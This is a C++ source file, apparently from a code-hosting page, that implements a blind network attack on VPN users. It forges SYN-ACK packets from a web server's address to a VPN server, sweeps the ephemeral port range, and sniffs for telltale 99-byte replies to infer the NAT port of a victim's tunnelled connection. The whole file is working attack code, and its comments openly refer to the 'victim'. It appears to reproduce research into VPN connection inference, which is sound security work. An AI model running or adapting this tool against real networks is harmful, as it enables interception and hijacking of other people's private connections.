You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

224 lines
4.9 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. using std::thread;
  8. using std::cout;
  9. using std::string;
  10. using std::vector;
  11. using namespace Tins;
  12. int current_spoof_port, best_port, chack_count;
  13. bool is_running = true;
  14. bool verbose = false;
  15. bool rechecking = true; // rechecks inferred port if true
  16. bool sniffed_resp = false;
  17. string dest_ip;
  18. string source_ip;
  19. void print_divider(int count) {
  20. int i = 0;
  21. while (i < count) {
  22. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  23. i++;
  24. }
  25. }
  26. bool handle_packet(PDU &some_pdu) {
  27. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  28. // keep track of the last port we spoofed
  29. if (ip.src_addr() == source_ip) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
  30. // in this case we're looking for a packet from the vpn server to the vpn client
  31. //
  32. // the src ip should be the VPN server and dest ip should be
  33. // public address of victim
  34. if (ip.src_addr() == dest_ip) { // dest_ip should be public VPN IP
  35. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  36. //cout << "Payload size: " << payload << "\n";
  37. if (payload == 99) { // could be a NAT'ed attacker packet
  38. cout << "sniffed response from VPN server with port: " << current_spoof_port << " and size: " << payload << " \n";
  39. best_port = current_spoof_port;
  40. sniffed_resp = true;
  41. }
  42. }
  43. return is_running;
  44. }
  45. void sniff_stuff() {
  46. SnifferConfiguration config;
  47. config.set_promisc_mode(true);
  48. Sniffer sniffer("any", config);
  49. sniffer.sniff_loop(handle_packet);
  50. }
  51. int recheck_port(string source_ip, int sport, string dest_ip, int found_port, int num_checks) {
  52. PacketSender sender;
  53. NetworkInterface iface("enp0s9");
  54. IP pkt = IP(dest_ip, source_ip) / TCP(found_port, sport);
  55. TCP& tcp = pkt.rfind_pdu<TCP>();
  56. tcp.flags(TCP::SYN | TCP::ACK);
  57. int i = 0;
  58. while (i < num_checks) {
  59. cout << "Sending recheck probe number " << i << "\n\n";
  60. sender.send(pkt, iface);
  61. usleep(500);
  62. i ++;
  63. }
  64. usleep(3000000);
  65. return 1;
  66. }
  67. // Spreads SYNs across the victim's entire port range
  68. // coming from a specific remote_ip:port
  69. //
  70. int phase_two_spread(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  71. PacketSender sender;
  72. NetworkInterface iface("enp0s9");
  73. IP pkt = IP(dest_ip, source_ip) / TCP(40400, sport);
  74. TCP& tcp = pkt.rfind_pdu<TCP>();
  75. tcp.flags(TCP::SYN | TCP::ACK);
  76. int current_port = best_port;
  77. int count = 0;
  78. int i = start_port;
  79. bool found = false;
  80. while (i < end_port && !found) {
  81. tcp.dport(i);
  82. sender.send(pkt, iface);
  83. //cout << "Current port= " << i << "\n";
  84. usleep(500);
  85. count++;
  86. i ++;
  87. if (count % 50 == 0) {
  88. //usleep(500);
  89. if (verbose) cout << " Current port = " << i << ". Best port = " << best_port << ".\n";
  90. }
  91. if (best_port != 0) found = true;
  92. }
  93. current_port = best_port;
  94. if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
  95. // In round 1 we spoofed really fast (10 sleep) to get a good estimate of the
  96. // port in use. Round 2, we spoof slower from about 50 packets back to account
  97. // for the delay in response and hopefully get the exact port number in use.
  98. print_divider(1);
  99. usleep(1000000 / 2);
  100. // sniffed_chack = false;
  101. int j = current_port - 300;
  102. found = false;
  103. best_port = 0;
  104. while (j < (current_port + 300) && !found) {
  105. tcp.dport(j); // set the packets dest port to current guess
  106. sender.send(pkt, iface);
  107. if (verbose) cout << "Current guess port = " << j << " and best port = " << best_port << " \n";
  108. usleep(10000);
  109. j ++;
  110. if (best_port != 0) found = true;
  111. }
  112. if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
  113. return best_port;
  114. }
  115. int find_port(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  116. bool is_found = false;
  117. int current_port = 0;
  118. while (!is_found) {
  119. current_port = phase_two_spread(source_ip, sport, dest_ip, start_port, end_port);
  120. print_divider(1);
  121. if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
  122. is_found = true;
  123. }
  124. return current_port;
  125. }
  126. int main(int argc, char** argv) {
  127. if (argc != 4) {
  128. cout << "sike wrong number of args ---> (source_ip, sport, dest_ip)\n";
  129. return 0;
  130. }
  131. source_ip = argv[1]; // web server IP
  132. int sport = atoi(argv[2]); // most likely 80 or 443
  133. dest_ip = argv[3]; // vpn server IP
  134. verbose = true;
  135. int start_port = 32768;
  136. int end_port = 61000;
  137. print_divider(2);
  138. thread sniff_thread(sniff_stuff);
  139. int p = find_port(source_ip, sport, dest_ip, start_port, end_port);
  140. //cout << p << "\n";
  141. print_divider(1);
  142. if (rechecking) int res = recheck_port(source_ip, sport, dest_ip, p, 3);
  143. is_running = false;
  144. sniff_thread.join();
  145. return p;
  146. }